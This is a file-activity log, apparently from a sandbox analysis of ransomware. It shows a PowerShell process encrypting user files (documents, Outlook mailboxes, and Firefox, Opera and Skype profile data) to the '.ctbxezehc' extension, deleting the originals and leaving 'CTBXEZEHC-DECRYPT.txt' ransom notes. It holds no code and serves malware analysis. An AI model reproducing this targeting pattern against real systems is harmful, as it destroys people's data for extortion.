3596 powershell.exe C:\Users\admin\Favorites\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Downloads\primarytree.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Links\Suggested Sites.url ––
3596 powershell.exe C:\Users\admin\Downloads\pmlives.png.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Downloads\notinvolved.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Downloads\pmlives.png ––
3596 powershell.exe C:\Users\admin\Downloads\notinvolved.jpg ––
3596 powershell.exe C:\Users\admin\Downloads\primarytree.jpg ––
3596 powershell.exe C:\Users\admin\Downloads\ballmanager.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Downloads\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Documents\usefulaction.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\technologypaper.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\usefulaction.rtf ––
3596 powershell.exe C:\Users\admin\Downloads\ballmanager.jpg ––
3596 powershell.exe C:\Users\admin\Documents\technologypaper.rtf ––
3596 powershell.exe C:\Users\admin\Documents\sepsan.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp ––
3596 powershell.exe C:\Users\admin\Documents\sepsan.rtf ––
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst.ctbxezehc fli
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst ––
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst ––
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst ––
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one ––
3596 powershell.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst ––
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2 ––
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one ––
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Videos\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Documents\fairteam.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Music\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Documents\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Documents\helpfulnormal.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\yourselfhomepage.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Pictures\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Desktop\thesestart.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\rulevarious.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\yourselfhomepage.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\rulevarious.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\thesestart.jpg ––
3596 powershell.exe C:\Users\admin\Documents\helpfulnormal.rtf ––
3596 powershell.exe C:\Users\admin\Documents\fairteam.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\pressperformance.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\pressureschools.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\friendsbottom.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\forumfrance.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\pressureschools.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\pressperformance.jpg ––
3596 powershell.exe C:\Users\admin\Desktop\friendsbottom.jpg ––
3596 powershell.exe C:\Users\admin\Desktop\forumfrance.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\commercialfront.rtf.ctbxezehc pgc
3596 powershell.exe C:\Users\admin\Desktop\formathp.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\costpro.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\dailyii.png.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\commercialfront.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\dailyii.png ––
3596 powershell.exe C:\Users\admin\Desktop\formathp.jpg ––
3596 powershell.exe C:\Users\admin\Desktop\costpro.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\chineseensure.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\awayroad.rtf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Desktop\cameraslarger.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Contacts\admin.contact.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Desktop\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Desktop\cameraslarger.jpg ––
3596 powershell.exe C:\Users\admin\Contacts\admin.contact ––
3596 powershell.exe C:\Users\admin\Desktop\awayroad.rtf ––
3596 powershell.exe C:\Users\admin\Desktop\chineseensure.jpg ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Contacts\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\tnqalxuybs.log.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\tnqalxuybs.log ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Sun\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Sun\Java\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Sun\Java\Deployment\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\logs\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\Opera\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Opera\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\config\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\SystemExtensionsDev\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\temporary\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat dat
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite.ctbxezehc vc
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite ––
